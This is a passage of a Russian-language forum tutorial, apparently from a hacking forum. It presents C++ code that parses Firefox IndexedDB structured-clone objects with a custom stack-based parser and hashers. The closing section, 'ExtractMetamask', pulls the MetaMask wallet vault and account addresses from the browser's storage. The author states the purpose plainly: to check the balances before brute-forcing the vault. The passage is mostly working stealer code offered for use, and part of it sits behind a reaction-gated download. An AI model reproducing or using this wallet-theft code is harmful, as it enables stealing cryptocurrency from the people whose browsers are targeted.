Остальное (SavedFrameObject / ArrayBufferObject / SharedArrayBufferObject / SharedWasmMemoryObject / etc.):
Остальные объекты нам не интересны и парсить их мы не будем. Честно говоря я ещё ниразу не встречался с ними и поэтому имплементировать их парсинг не стал. Очень сомневаюсь, что и вы с ними встретитесь, так как экстейшены как правило не сторят подобную дату в свой IndexedDB, поэтому пока что оставим их в покое. PS. Пока писал статью, заглянул в более свежие сорцы, некоторые индексы теперь deprecated!
Парсим IndexedDB
Итак, с форматом мы разобрались, теперь настало время распарсить всё это безобразие. Это наверное будет самая короткая часть моей статьи, и при этом самая длинная по коду.Для начала мы распарсим рут объект, мы подразумеваем, что это должен быть какой-то контейнер, после этого мы создадим стек и запушим наш контейнер туда. Мы будем пушить все контейнеры в этот стак и парсить дальнейшие объекты в зависимости от топового контейнера. Если вы встретим EndOfKeys, то просто попим стек и продолжаем парсить предыдущий контейнер, если же стек пуст, то значит мы всё распарсили и время выходить. Чтож, давайте всё это имплементируем:
Спойлер: код
C++: Скопировать в буфер обмена
Code:
template <typename TSQLData>
inline std::shared_ptr<GeckoIDBJSObject> GeckoIndexedDB<TSQLData>::ReadObjects(ByteReader<std::endian::little> & bfRead) noexcept
{
std::shared_ptr<GeckoIDBJSObject> pMainObj = std::make_shared<GeckoIDBJSObject>();
std::vector<std::shared_ptr<GeckoIDBJSObject>> vObjects;
if (!ReadObject(bfRead, pMainObj, vObjects))
return pMainObj;
std::vector<std::shared_ptr<GeckoIDBJSObject>> vContainerObjsList;
std::stack<std::shared_ptr<GeckoIDBJSObject>> sObjStack;
auto ObjectMaybeAppendToTheStack = [&](std::shared_ptr<GeckoIDBJSObject> & pObj) noexcept
{
switch (pObj->t)
{
case GeckoIDBObjType::ArrayObject: [[fallthrough]];
case GeckoIDBObjType::ObjectObject: [[fallthrough]];
case GeckoIDBObjType::SavedFrameObject: [[fallthrough]];
case GeckoIDBObjType::MapObject: [[fallthrough]];
case GeckoIDBObjType::SetObject:
sObjStack.push(pObj);
break;
default: break;
}
};
ObjectMaybeAppendToTheStack(pMainObj);
while (!sObjStack.empty())
{
{
std::size_t szPos = bfRead.GetPos();
const std::uint64_t uPair = bfRead.template ReadTrivial<std::uint64_t>();
if (static_cast<GeckoIDBObjType>(GetPairTag(uPair)) == GeckoIDBObjType::EndOfKeys)
{
sObjStack.pop();
continue;
}
bfRead.SetPos(szPos, false);
}
if (bfRead.IsOverflow())
break;
auto & pTopObj = sObjStack.top();
std::shared_ptr<GeckoIDBJSObject> pKeyObj = std::make_shared<GeckoIDBJSObject>();
ReadObject(bfRead, pKeyObj, vContainerObjsList);
ObjectMaybeAppendToTheStack(pKeyObj);
if (!pKeyObj->v.index())
{
switch (pTopObj->t)
{
case GeckoIDBObjType::ObjectObject: [[fallthrough]];
case GeckoIDBObjType::MapObject: [[fallthrough]];
case GeckoIDBObjType::SetObject: [[fallthrough]];
case GeckoIDBObjType::ArrayObject: [[fallthrough]];
case GeckoIDBObjType::SavedFrameObject: break;
default:
sObjStack.pop();
continue;
}
}
switch (pTopObj->t)
{
case GeckoIDBObjType::SetObject:
{
assert(pTopObj->v.index() == GeckoIDBJSObject::Set);
std::get<GeckoIDBJSObject::Set>(pTopObj->v).insert(std::move(pKeyObj));
break;
}
case GeckoIDBObjType::MapObject:
case GeckoIDBObjType::ObjectObject:
{
std::shared_ptr<GeckoIDBJSObject> pValueObj = std::make_shared<GeckoIDBJSObject>();
ReadObject(bfRead, pValueObj, vContainerObjsList);
ObjectMaybeAppendToTheStack(pValueObj);
switch (pKeyObj->t)
{
case GeckoIDBObjType::Int32: [[fallthrough]];
case GeckoIDBObjType::String: [[fallthrough]];
case GeckoIDBObjType::StringObject:
{
assert(pTopObj->v.index() == GeckoIDBJSObject::ObjectOrMap);
std::get<GeckoIDBJSObject::ObjectOrMap>(pTopObj->v).emplace(std::move(pKeyObj), std::move(pValueObj));
break;
}
default: assert(0); break;
}
break;
}
case GeckoIDBObjType::ArrayObject:
{
if (pKeyObj->t != GeckoIDBObjType::Int32 || std::get<GeckoIDBJSObject::Int>(pKeyObj->v) < 0)
break;
assert(pTopObj->v.index() == GeckoIDBJSObject::Array);
std::shared_ptr<GeckoIDBJSObject> pValueObj = std::make_shared<GeckoIDBJSObject>();
ReadObject(bfRead, pValueObj, vContainerObjsList);
ObjectMaybeAppendToTheStack(pValueObj);
std::get<GeckoIDBJSObject::Array>(pTopObj->v).push_back(std::move(pValueObj));
break;
}
default: break;
}
}
return pMainObj;
}
template <typename TSQLData>
inline bool GeckoIndexedDB<TSQLData>::ReadObject(ByteReader<std::endian::little> & bfRead, std::shared_ptr<GeckoIDBJSObject> & pObj, std::vector<std::shared_ptr<GeckoIDBJSObject>> & rObjects) noexcept
{
const std::uint64_t uPair = bfRead.template ReadTrivial<std::uint64_t>();
const std::uint32_t uTag = GetPairTag(uPair);
const GeckoIDBObjType eType = static_cast<GeckoIDBObjType>(uTag);
auto & rObj = *pObj;
rObj.t = eType;
bool bObjectPushed = false;
auto ConvertString = [](bool bIsLatin1, std::vector<std::uint8_t> & vStrData) noexcept -> std::string
{
std::string sStr;
if (bIsLatin1)
{
for (auto iIt = vStrData.begin(); iIt != vStrData.end(); ++iIt)
{
std::uint8_t u = *iIt;
if (u < 0x80) sStr.push_back(static_cast<char>(u));
else
{
sStr.push_back(static_cast<char>(0xC0 | (u >> 6)));
sStr.push_back(static_cast<char>(0x80 | (u & 0x3F)));
}
}
}
else
{
vStrData.push_back(0);
const char16_t * pUTF16 = reinterpret_cast<const char16_t *>(vStrData.data());
try
{
std::wstring_convert<std::codecvt_utf8<char16_t>, char16_t> cCvt;
sStr = cCvt.to_bytes(pUTF16);
}
catch (...) { return {}; }
}
return sStr;
};
switch (eType)
{
case GeckoIDBObjType::Null: [[fallthrough]];
case GeckoIDBObjType::Undefined:
rObj.v.emplace<GeckoIDBJSObject::Null>();
break;
case GeckoIDBObjType::Int32:
{
std::uint32_t uData = GetPairData(uPair);
rObj.v.emplace<GeckoIDBJSObject::Int>(std::bit_cast<std::int32_t>(uData));
break;
}
case GeckoIDBObjType::BooleanObject:
rObjects.push_back(pObj);
bObjectPushed = true;
[[fallthrough]];
case GeckoIDBObjType::Boolean:
{
std::uint32_t uData = GetPairData(uPair);
rObj.v.emplace<GeckoIDBJSObject::Bool>(!!uData);
break;
}
case GeckoIDBObjType::StringObject:
rObjects.push_back(pObj);
bObjectPushed = true;
[[fallthrough]];
case GeckoIDBObjType::String:
{
std::uint32_t uData = GetPairData(uPair);
const bool bIsLatin1 = !!(uData & 0x80000000);
std::uint32_t uLength = uData & 0x7FFFFFFF;
if (!bIsLatin1) uLength *= 2;
auto vStr = bfRead.template ReadByteArrayToContainer<std::vector<std::uint8_t>>(uLength);
std::string sStr = ConvertString(bIsLatin1, vStr);
rObj.v.emplace<GeckoIDBJSObject::String>(std::move(sStr));
uLength = 8 - ((uLength - 1) & 7) - 1;
bfRead.SkipBytes(uLength);
break;
}
case GeckoIDBObjType::NumberObject:
{
rObj.v.emplace<GeckoIDBJSObject::Double>(bfRead.template ReadTrivial<double>());
rObjects.push_back(pObj);
bObjectPushed = true;
break;
}
case GeckoIDBObjType::BigIntObject:
rObjects.push_back(pObj);
bObjectPushed = true;
[[fallthrough]];
case GeckoIDBObjType::BigInt:
{
const std::uint32_t uData = GetPairData(uPair);
std::uint32_t uLength = uData & 0x7FFFFFFF;
rObj.v.emplace<GeckoIDBJSObject::Null>();
bfRead.SkipBytes(uLength + (8 - ((uLength - 1) & 7) - 1));
break;
}
case GeckoIDBObjType::DateObject:
{
const double dMillisecondsSinceEpoch = bfRead.template ReadTrivial<double>();
rObj.v.emplace<GeckoIDBJSObject::Date>(std::chrono::system_clock::time_point(std::chrono::milliseconds(static_cast<std::uint64_t>(dMillisecondsSinceEpoch))));
rObjects.push_back(pObj);
bObjectPushed = true;
break;
}
case GeckoIDBObjType::RegexpObject:
{
const std::uint32_t uData = GetPairData(uPair);
std::string sRegex;
if (uData & (1 << 6)) sRegex.push_back('d');
if (uData & (1 << 1)) sRegex.push_back('g');
if (uData & (1 << 0)) sRegex.push_back('i');
if (uData & (1 << 2)) sRegex.push_back('m');
if (uData & (1 << 5)) sRegex.push_back('s');
if (uData & (1 << 4)) sRegex.push_back('u');
if (uData & (1 << 7)) sRegex.push_back('v');
if (uData & (1 << 3)) sRegex.push_back('y');
const std::uint64_t uSecondPair = bfRead.template ReadTrivial<std::uint64_t>();
const std::uint32_t uSecondTag = GetPairTag(uSecondPair);
if (static_cast<GeckoIDBObjType>(uSecondTag) == GeckoIDBObjType::String)
{
const std::uint32_t uSecondData = GetPairData(uSecondPair);
const bool bIsLatin1 = !!(uSecondData & 0x80000000);
std::uint32_t uLength = uSecondData & 0x7FFFFFFF;
if (!bIsLatin1)
uLength *= 2;
{
sRegex.push_back('/');
auto vStr = bfRead.template ReadByteArrayToContainer<std::vector<std::uint8_t>>(uLength);
std::string sStr = ConvertString(bIsLatin1, vStr);
sRegex.append(sStr);
}
rObj.v.emplace<GeckoIDBJSObject::String>(std::move(sRegex));
uLength = 8 - ((uLength - 1) & 7) - 1;
bfRead.SkipBytes(uLength);
}
rObjects.push_back(pObj);
bObjectPushed = true;
break;
}
case GeckoIDBObjType::ArrayObject:
{
rObj.v.emplace<GeckoIDBJSObject::Array>();
rObjects.push_back(pObj);
bObjectPushed = true;
break;
}
case GeckoIDBObjType::ObjectObject: [[fallthrough]];
case GeckoIDBObjType::MapObject:
{
rObj.v.emplace<GeckoIDBJSObject::ObjectOrMap>();
rObjects.push_back(pObj);
bObjectPushed = true;
break;
}
case GeckoIDBObjType::SetObject:
{
rObj.v.emplace<GeckoIDBJSObject::Set>();
rObjects.push_back(pObj);
bObjectPushed = true;
break;
}
case GeckoIDBObjType::BackReferenceObject:
{
const std::uint32_t uData = GetPairData(uPair);
if (uData >= rObjects.size())
break;
pObj = rObjects[uData];
break;
}
case GeckoIDBObjType::SavedFrameObject: [[fallthrough]];
case GeckoIDBObjType::ArrayBufferObject: [[fallthrough]];
case GeckoIDBObjType::SharedArrayBufferObject: [[fallthrough]];
case GeckoIDBObjType::SharedWasmMemoryObject:
{
rObj.v.emplace<GeckoIDBJSObject::Null>();
rObjects.push_back(pObj);
bObjectPushed = true;
break;
}
default:
if (uTag < 0xFFF00000)
rObj.v.emplace<GeckoIDBJSObject::Double>(std::bit_cast<double>(uPair));
break;
}
return bObjectPushed;
}
Ну и для того, чтобы мы могли находить объекты по их индексу / имени, нам нужно имплементировать кастомный хешер и компарер, а для того, чтобы различать типы хешированных данных, мы будем их тагать:
Спойлер: код
C++: Скопировать в буфер обмена
Code:
struct GeckoKeyHash
{
using is_transparent = void;
constexpr static std::size_t TYPE_SHIFT = std::numeric_limits<std::size_t>::digits - 2;
constexpr static std::size_t HASH_MASK = (std::size_t(1) << TYPE_SHIFT) - 1;
constexpr static std::size_t TYPE_MASK = ~HASH_MASK;
constexpr static std::size_t HASH_TYPE_POINTER = 0;
constexpr static std::size_t HASH_TYPE_INT = 1;
constexpr static std::size_t HASH_TYPE_STRING = 2;
inline std::size_t operator()(std::string_view) const noexcept;
inline std::size_t operator()(std::int32_t) const noexcept;
inline std::size_t operator()(std::shared_ptr<GeckoIDBJSObject>) const noexcept;
};
struct GeckoKeyCompare
{
using is_transparent = void;
inline bool operator()(std::string_view, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
inline bool operator()(std::int32_t, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
inline bool operator()(const std::shared_ptr<GeckoIDBJSObject> &, const std::shared_ptr<GeckoIDBJSObject> &) const noexcept;
};
inline std::size_t GeckoKeyHash::operator()(std::string_view svString) const noexcept
{
std::size_t szHashed = std::hash<std::string_view>{}(svString);
return (szHashed & HASH_MASK) | (HASH_TYPE_STRING << TYPE_SHIFT);
}
inline std::size_t GeckoKeyHash::operator()(std::int32_t iValue) const noexcept
{
if constexpr (sizeof(std::uintptr_t) == 8)
return static_cast<std::size_t>(std::bit_cast<std::uint32_t>(iValue)) | (HASH_TYPE_INT << TYPE_SHIFT);
else
return (std::hash<std::int32_t>{}(iValue) & HASH_MASK) | (HASH_TYPE_INT << TYPE_SHIFT);
}
inline std::size_t GeckoKeyHash::operator()(std::shared_ptr<GeckoIDBJSObject> pObj) const noexcept
{
switch (pObj->v.index())
{
case GeckoIDBJSObject::Int: return this->operator()(pObj->GetInt());
case GeckoIDBJSObject::String: return this->operator()(pObj->GetString());
default:
{
std::uintptr_t szHashed = std::bit_cast<std::uintptr_t>(pObj.get());
return (szHashed & HASH_MASK) | (HASH_TYPE_POINTER << TYPE_SHIFT);
}
}
}
inline bool GeckoKeyCompare::operator()(std::string_view svFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{
if (!pSecond || !pSecond->IsString()) return false;
return pSecond->GetString() == svFirst;
}
inline bool GeckoKeyCompare::operator()(std::int32_t iFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{
if (!pSecond || !pSecond->IsInt()) return false;
return pSecond->GetInt() == iFirst;
}
inline bool GeckoKeyCompare::operator()(const std::shared_ptr<GeckoIDBJSObject> & pFirst, const std::shared_ptr<GeckoIDBJSObject> & pSecond) const noexcept
{ return pFirst.get() == pSecond.get(); }
А что там с MetaMask?
Что ж, и теперь заключительная часть нашей статьи, то, с чего мы собственно и начали, вытаскивание инфы из экстейшена метамаск. Метамаск хранит дофига данных, но нам интересен лишь его vault и адреса юзера (чтобы мы могли чекнуть их на баланс, прежде чем брутить vault). Метамаск хранит все свои данные по ключу data, чтож, с нашей имплементацией здесь всё довольно тривиально:Спойлер: код
C++: Скопировать в буфер обмена
Code:
tl::expected<std::string, std::error_code> ExtractMetamask(GeckoIndexedDB<std::string> cIDB) noexcept
{
auto pKeyData = cIDB.ReadKey("data");
if (!pKeyData || pKeyData->t != GeckoIDBObjType::ObjectObject)
return tl::unexpected(std::make_error_code(std::errc::no_message));
assert(pKeyData->IsObjectOrMap());
auto & rMainObject = pKeyData->GetObjectOrMap();
std::string sVault;
std::unordered_set<std::string> sAddresses;
auto iKeyRingController = rMainObject.find("KeyringController");
if (iKeyRingController != rMainObject.end() && iKeyRingController->second->IsObjectOrMap())
{
auto & rKRCtrlObj = iKeyRingController->second->GetObjectOrMap();
auto iVaultStr = rKRCtrlObj.find("vault");
if (iVaultStr != rKRCtrlObj.end() && iVaultStr->second->IsString())
sVault = iVaultStr->second->GetString();
}
auto iAccsController = rMainObject.find("AccountsController");
if (iAccsController != rMainObject.end() && iAccsController->second->IsObjectOrMap())
{
auto & rAccsCtrlObj = iAccsController->second->GetObjectOrMap();
auto iInternalAccounts = rAccsCtrlObj.find("internalAccounts");
if (iInternalAccounts != rAccsCtrlObj.end() && iInternalAccounts->second->IsObjectOrMap())
{
auto rInternalAccs = iInternalAccounts->second->GetObjectOrMap();
auto iAccounts = rInternalAccs.find("accounts");
if (iAccounts != rInternalAccs.end() && iAccounts->second->IsObjectOrMap())
{
auto rAccs = iAccounts->second->GetObjectOrMap();
for (auto [_, rAccObj] : rAccs)
{
if (!rAccObj->IsObjectOrMap())
continue;
auto & rAcc = rAccObj->GetObjectOrMap();
auto iAddr = rAcc.find("address");
if (iAddr != rAcc.end() && iAddr->second->IsString())
{
const std::string & sAcc = iAddr->second->GetString();
if (sAcc.starts_with("0x"))
sAddresses.insert(sAcc);
}
}
}
}
}
std::vector<std::string> vAddresses(std::make_move_iterator(sAddresses.begin()), std::make_move_iterator(sAddresses.end()));
auto sFormattedAddresses = vAddresses.size() ? std::accumulate(std::next(vAddresses.begin()), vAddresses.end(), vAddresses[0],
[](auto && sFirst, auto && sSecond) noexcept { return std::move(sFirst) + ", " + sSecond; }) : std::string();
return std::format("Vault: {0}\nAddresses: {1}", sVault, sFormattedAddresses);
}
Результат:
Спойлер
На этом всё, я старался сделать статью как можно короче и без лишней воды, но она всё равно получилась немаленькой. Знаю, что статья возможно будет сложно восприниматься хотя бы без средненького технического бекграунда, но я старался всё максимально разжевать по теме, надеюсь вам понравилось.
У вас должно быть более 5 реакций для просмотра скрытого контента.
Edit: странно, архив не прикрепился, залил на форумный файлообменник.
DamageLib